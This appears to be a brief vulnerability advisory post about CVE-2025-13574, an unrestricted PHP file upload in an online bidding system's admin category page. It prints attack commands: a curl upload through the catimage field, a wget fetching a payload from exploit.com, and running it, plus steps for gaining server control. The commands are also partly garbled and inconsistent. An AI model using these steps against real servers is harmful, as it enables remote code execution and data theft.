Listen to this Post
The CVE-2025-13574 vulnerability targets code-projects Online Bidding System 1.0. It involves the /administrator/addcategory.php file. The categoryadd function handles category image uploads. The catimage parameter is not properly validated. This leads to unrestricted file uploads. Attackers can remotely exploit this weakness. They upload malicious files like PHP shells. The server does not check file types. It accepts any extension for catimage. The attack requires high privileges initially. However, remote execution is possible. Exploits are publicly available online. The vulnerability stems from poor input sanitization. The system fails to verify upload content. Attackers craft HTTP POST requests. They inject files via the catimage field. Uploaded files are stored on the server. These files can be accessed and executed. This results in remote code execution. The CVSS score reflects medium severity. It highlights risks in admin panels.
Platform: code-projects Online Bidding System
Version: 1.0
Vulnerability: Unrestricted file upload
Severity: Medium
date: 11/23/2025
Prediction: Patch not released
What Undercode Say:
Analytics:
curl -X POST -F “[email protected]” http://target/administrator/addcategory.php
wget http://exploit.com/payload.txt -O payload.php
php payload.php
How Exploit:
Upload malicious PHP shell via catimage parameter. Access uploaded file to execute code. Gain server control remotely.
Protection from this CVE
Validate file extensions. Restrict upload permissions. Use web application firewall.
Impact:
Remote code execution. System compromise. Data theft.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
